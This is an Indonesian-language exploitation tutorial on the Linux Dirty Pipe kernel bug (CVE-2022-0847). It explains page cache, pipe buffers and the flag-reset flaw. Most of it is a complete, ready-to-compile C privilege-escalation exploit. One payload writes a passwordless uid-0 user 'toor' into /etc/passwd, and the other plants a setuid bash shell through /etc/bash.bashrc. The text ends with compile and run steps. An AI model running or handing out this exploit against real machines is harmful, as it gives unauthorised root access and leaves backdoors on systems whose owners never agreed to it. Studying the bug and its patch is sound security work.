# 6.3.3. Linux Kernel Dirty pipe Exploitation (Logic Bug)

**by : Antonius (w1sdom)**
**https://www.bluedragonsec.com**
**https://github.com/bluedragonsecurity**

**Dirty Pipe** (CVE-2022-0847) adalah salah satu kerentanan keamanan paling signifikan pada Linux Kernel 5.8 – 5.15.24 yang ditemukan oleh Max Kellermann pada tahun 2022. Kerentanan ini memungkinkan pengguna biasa (tanpa hak akses khusus) untuk menulis ulang data pada file yang seharusnya **read-only** (hanya baca).

## 6.3.3.1. Pemahaman Konsep

Sebelum membahas lebih jauh tentang dirty pipe, berikut ini beberapa konsep internal kernel linux yang perlu dipahami

### 1. Paging

Paging adalah mekanisme manajemen memori pada kernel Linux di mana sistem memori membagi memori fisik menjadi blok-blok kecil berukuran tetap yang disebut page frames, dan memori virtual dibagi menjadi blok-blok dengan ukuran yang sama yang disebut pages.

Mekanisme ini memungkinkan kernel untuk memetakan ruang alamat virtual proses ke memori fisik secara tidak berurutan, yang sangat penting untuk efisiensi dan keamanan sistem modern.

### 2. Page (Virtual Memory)

Di Linux, page (halaman) adalah unit terkecil dari manajemen memori fisik yang dikelola oleh kernel.

RAM seperti sebuah buku raksasa. **Page** adalah satu lembar kertas dalam buku tersebut. Kernel tidak memindahkan data bit demi bit, melainkan lembar demi lembar (halaman demi halaman).

Secara umum, pada arsitektur sistem modern (seperti x86_64), ukuran stkitar satu page adalah **4 KB (4096 bytes)**.

### 3. Page Cache

Ini adalah bagian krusial. Linux tidak membaca file langsung dari disk setiap saat karena lambat. Kernel menyalin isi file ke dalam RAM yang disebut **Page Cache**.

- Saat kita membaca file, kernel memuatnya ke Page Cache.
- Jika proses lain ingin membaca file yang sama, kernel hanya memberikan referensi ke halaman (page) yang sudah ada di memori tersebut.

Page cache berada pada kernel space.

**4. Pipe Buffer**

Pipe adalah mekanisme Komunikasi Antar Proses (IPC). Secara internal, kernel mengelola pipe menggunakan struktur data `pipe_inode_info`. Data di dalam pipe disimpan dalam "buffer" yang disebut Pipe Buffer.

- Ring Buffer : Kernel menggunakan struktur melingkar (ring) untuk mengelola buffer ini.

  Ring buffer adalah struktur data yang menggunakan sebuah array tunggal dengan ukuran tetap seolah-olah ujung akhirnya terhubung kembali ke ujung awalnya. Ini menciptakan alur data yang "berputar" tanpa henti.

- Flag: Setiap buffer memiliki atribut atau "flags" yang menentukan perilakunya (misalnya, apakah buffer tersebut bisa digabungkan

Pipe buffer berada pada kernel space.

**5. Pipe Buffer Flag** (PIPE_BUF_FLAG_CAN_MERGE)

Flag `PIPE_BUF_FLAG_CAN_MERGE` diperkenalkan pada Linux Kernel **versi 5.8**.

Inilah letak kerentanan utamanya. Flag bernama PIPE_BUF_FLAG_CAN_MERGE.

- **Fungsinya:** Memberitahu kernel bahwa data baru yang ditulis ke pipe bisa digabungkan ke dalam buffer yang sudah ada.
- **Masalahnya:** Sebelum perbaikan Dirty Pipe, kernel tidak membersihkan (reset) flag ini dengan benar saat melakukan `splice()`.

**6. Splice**

splice() adalah syscall untuk memindahkan data antara dua *file descriptor* tanpa menyalin data tersebut antara *kernel space* dan *user space*. Ini sering disebut sebagai mekanisme Zero-copy.

Syscall splice() adalah "pelaku utama” dalam Dirty Pipe

- Alih-alih menyalin data secara fisik, splice() melakukan optimasi dengan membuat **Pipe Buffer** menunjuk langsung ke halaman yang ada di **Page Cache**.
- Artinya, pipe tidak berisi salinan data file, melainkan hanya "pointer" ke memori fisik file tersebut.

**7. Copy on Write (COW)**

Mekanisme Copy-on-Write (CoW) adalah strategi optimasi manajemen memori yang digunakan oleh kernel Linux untuk menunda penyalinan data hingga benar-benar diperlukan.

Hubungan antara **Copy-on-Write (CoW)** dan eksploitasi **Dirty Pipe (CVE-2022-0847)** adalah tentang bagaimana sebuah *bug* kecil pada kernel Linux berhasil "menipu" mekanisme CoW, sehingga mengizinkan penulisan data ke file yang seharusnya hanya-baca (*read-only*).

**8. Dirty Page**

**dirty page** adalah halaman memori (page) dalam RAM yang telah dimodifikasi oleh aplikasi, tetapi perubahan tersebut belum dituliskan kembali ke penyimpanan sekunder (seperti SSD atau Harddisk).

## 6.3.3.2. Analisis Kerentanan Dirty Pipe

Dirty pipe merupakan sejenis logic bug pada penanganan pipe buffer di linux kernel 5.8 sampai dengan linux kernel 5.15.24.

Masalah utamanya terletak pada mekanisme **Pipe** (saluran komunikasi antar proses) dan bagaimana kernel mengelola **Page Cache** (memori yang menyimpan salinan data file dari disk).

Intinya adalah terdapat bug pada flag PIPE_BUF_FLAG_CAN_MERGE

Masalah utamanya terletak pada kegagalan kernel untuk menginisialisasi ulang flag tersebut dengan benar (logic bug) . Berikut adalah analisis kodenya:

Dalam fungsi copy_page_to_iter_pipe dan push_to_pipe di kernel Linux sebelum versi 5.16.11, saat melakukan operasi splice, kernel menyiapkan struktur pipe_buffer tetapi **lupa untuk membersihkan member .flags**.

```
// Lokasi masalah: fs/pipe.c atau include/linux/pipe_fs_i.h

struct pipe_buffer {
   struct page *page;
   unsigned int offset, len;
   const struct pipe_buf_operations *ops;
   unsigned int flags; // <--- FLAG INI TIDAK DIRESET
   unsigned long private;
};
```

Letak kesalahan selanjutnya adalah pada lib/iov_iter.c :

```
// Sebelum patch CVE-2022-0847
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
          struct iov_iter *i)
{
   // ---------snip------------ -------
   struct pipe_buffer *buf = &pipe->bufs[head & mask];
```

```
    buf->ops = &page_cache_pipe_buf_ops;
    buf->page = page;
    buf->offset = offset;
    buf->len = bytes;
    // MASALAH: buf->flags TIDAK DISENTUH SAMA SEKALI
    // --------snip----------------------
}
```

Kode Setelah Patch (Fixed):

```
    buf->ops = &page_cache_pipe_buf_ops;
    buf->page = page;
    buf->offset = offset;
    buf->len = bytes;
    buf->flags = 0; // <--- RESET TOTAL KE NOL
```

Mengapa buf->flags = 0 lebih baik daripada hanya mematikan flag tertentu? Karena pipe_buffer adalah struktur yang digunakan kembali (*reused*). Jika kita hanya mematikan satu flag (CAN_MERGE), flag sampah lain dari penggunaan pipe sebelumnya (seperti PIPE_BUF_FLAG_GIFT atau flag kustom lainnya) mungkin masih tertinggal dan menyebabkan perilaku aneh atau celah keamanan baru di masa depan. Menyetelnya ke 0 memastikan buffer dalam keadaan "bersih" sepenuhnya.

**Mengapa Ini Bisa Dieksploitasi?**

Berikut ini alur exploitasi Dirty Pipe :

1. **Tahap Pengotoran:** Penyerang memasukkan data ke pipe melalui write(). Operasi write() biasa akan menyetel buf->flags = PIPE_BUF_FLAG_CAN_MERGE.
2. **Tahap Drain:** Penyerang membaca data tersebut. Buffer sekarang "kosong" secara logika, tapi strukturnya masih ada di memori kernel dengan flag CAN_MERGE tetap aktif.
3. **Tahap Splice:** Saat syscall splice() memetakan file *read-only* ke pipe, fungsi copy_page_to_iter_pipe() dipanggil. Karena bug tadi, ia mengisi buf->page dengan halaman memori file asli tapi **tidak mereset** buf->flags.
4. **Eksekusi:** Kernel mengira buffer file ini masih boleh digabungkan. Tulisan berikutnya ke pipe tidak akan membuat buffer baru, tapi justru memodifikasi langsung halaman memori (Page Cache) yang dipetakan tadi.

   Pada tahap ini data dari penyerang sudah tersimpan di ram. Halaman di RAM yang isinya berbeda dengan yang ada di disk disebut sebagai **"Dirty Page"**.

   Jika berhasil mencapai tahap ini artinya exploitasi sudah berhasil ! Begitu Page Cache berubah, efeknya instan. Jika kita menimpa /etc/passwd di RAM, kita bisa langsung menjalankan su root detik itu juga.

### 6.3.3.3. Exploitasi Dirty Pipe

Untuk exploitasi dirty pipe kita tidak perlu mematikan proteksi kernel apapun karena semua proteksi kernel tidak relevan untuk mencegah logic bug ini.

Untuk mengeksploitasi logic bug dirty page, exploit kita akan melakukan langkah langkah di bawah ini

Langkah 1. Menyiapkan pipe dan mengisi *pipe* hingga penuh dengan tujuan memancing flag PIPE_BUF_FLAG_CAN_MERGE.

```
pipe(p);
int capacity = fcntl(p[1], 1032);
static char dummy[4096];
for (int r = capacity; r > 0; ) {
    int n = r > sizeof(dummy) ? sizeof(dummy) : r;
    write(p[1], dummy, n);
    r -= n;
}
```

Langkah 2. Mengosongkan *pipe*.

```
for (int r = capacity; r > 0; ) {
    int n = r > sizeof(dummy) ? sizeof(dummy) : r;
    read(p[0], dummy, n);
    r -= n;
}
```

3. Menggunakan `splice()` untuk memasukkan data dari file target ke dalam *pipe*.

```
if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
    perror("[-] splice failed");
    return 0;
}
```

4. Menulis data payload *pipe*.

**write(p[1], payload, strlen(payload));**

Berikut ini kode exploit lengkap untuk exploitasi dirty pipe :

```
/*
Exploit Title: Linux Kernel 5.8 < 5.15.25 - Local Privilege Escalation (DirtyPipe 2)
Exploit Author: Antonius (w1sdom)
github : https://github.com/bluedragonsecurity
web : https://www.bluedragonsec.com

tested on :
- linux kernel 5.13.0-21-generic (compiled on lubuntu 20.04.5)
- linux lubuntu 20.04.2 - linux kernel 5.8

Original Author: Max Kellermann (max.kellermann@ionos.com)
CVE: CVE-2022-0847

 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA.....
\n'
```

```
 *
 * Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/utsname.h>
#include <ctype.h>

int validate_kernv() {
   struct utsname buffer;
   int major, minor, patch;
   int is_vulnerable = 0;
   char *version_str;
   int len, compile_year;

   if (uname(&buffer) != 0) {
      perror("uname");
      return 1;
   }
   version_str = buffer.version;
   len = strlen(version_str);
   compile_year = 0;
   for (int i = len - 4; i >= 0; i--) {
      if (isdigit(version_str[i]) && isdigit(version_str[i+1]) &&
         isdigit(version_str[i+2]) && isdigit(version_str[i+3])) {
         compile_year = atoi(&version_str[i]);
         break;
      }
   }
   if (compile_year < 2023) {
      is_vulnerable = 1;
   }
   int fields = sscanf(buffer.release, "%d.%d.%d", &major, &minor, &patch);
   if (fields < 3) patch = 0;
   if (major == 5) {
      if (minor >= 8 && minor <= 14) {
         is_vulnerable = 1;
      }
```

```
        else if (minor == 15 && patch < 25) {
            is_vulnerable = 1;
        }
    }
    else {
        printf("[-] kernel is not vulnerable !!! quitting ...");
        exit(-1);
    }

    if (is_vulnerable) {
         printf("[*] kernel is vulnerable\n");
         }
    else {
         printf("[-] kernel is not vulnerable !!! quitting ...");
        exit(-1);
    }

    return 0;
}

void prepare_pipe(int p[2]) {
    pipe(p);
    int capacity = fcntl(p[1], 1032);
    static char dummy[4096];
    for (int r = capacity; r > 0; ) {
        int n = r > sizeof(dummy) ? sizeof(dummy) : r;
        write(p[1], dummy, n);
        r -= n;
    }
    for (int r = capacity; r > 0; ) {
        int n = r > sizeof(dummy) ? sizeof(dummy) : r;
        read(p[0], dummy, n);
        r -= n;
    }
}

int inject_payload(char *target, char *payload) {
    int fd = open(target, O_RDONLY);
    int p[2];
    __off64_t offset = 1;

    prepare_pipe(p);
```

```
    fd = open(target, O_RDONLY);
    if (fd < 0) return 1;
    if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
        perror("[-] splice failed");
        return 0;
    }
    printf("[*] injecting payload to %s\n", target);
    write(p[1], payload, strlen(payload));

    return 1;
}

void bashrc() {
    char *target = "/etc/bash.bashrc";
    char *payload = "\ncp /bin/bash /tmp/x; chmod +s /tmp/x\n#";
    if (inject_payload(target, payload) == 0) {
        printf("[-] failed to inject payload !");
    }
    else {
                printf("[*] payload injected to %s\n", target);
        printf("[*] you need to wait for root to login\n");
        printf("[*] once the root logged in you will get suid shell on /tmp/x\n");
        printf("[*] get root by : /tmp/x -p\n");
    }
}

int toor_check() {
    FILE *fp;
    char path[1035];

    fp = popen("su toor -c id", "r");
    if (fp == NULL) {
        return 0;
    }
    if (fgets(path, sizeof(path), fp) != NULL) {
        if (strstr(path, "root")) {
            return 1;
        }
    }
    pclose(fp);

    return 0;
```

```
}

int passwd() {
   char *target = "/etc/passwd";
   char *payload = "\ntoor::0:0:root:/root:/bin/bash\n#";

   system("cp /etc/passwd /tmp/passwd.bak");
   if (inject_payload(target, payload) == 0) {
      printf("[-] failed to inject payload !");
   }
       if (toor_check() == 1) {
      printf("[+] exploitation success, getting root for you.\n");
      system("su toor");
   }
   else {
      printf("[-] failed on method 1, testing method 2\n");
      return 0;
   }

   return 1;
}

int main() {
   validate_kernv();
   if (passwd() == 0) {
      bashrc();
   }

   return 0;
}
```

Exploit di atas menggunakan 2 payload berbeda dengan tujuan jika payload pertama gagal maka akan dichain oleh payload kedua.

Payload pertama akan menulis ke /etc/passwd untuk menambah user baru dengan nama user toor dengan uid 0. Jika payload ini berhasil maka kita bisa langsung mendapat shell root

Payload kedua bertujuan untuk drop suid bash shell di /tmp/x, khusus untuk payload kedua harus menunggu user root di sistem untuk login karena payload untuk drop suid shell disuntikkan ke /etc/bash.bashrc , di linux, perintah yang terdapat pada /etc/bash.bashrc akan dieksekusi oleh setiap user yang login ke sistem pada saat login.

Pada contoh kali ini saya sudah menggunakan linux kernel 5.13 yang dijalankan pada lubuntu 20.04.5 di virtualbox sebagai guest os dan host os adalah kali linux 2025.4.

Pada mesin lubuntu 20.04.5, compile exploit :

gcc -o dirtypipe2 dirtypipe2.c

Jalankan :

./dirtypipe2

Hasilnya :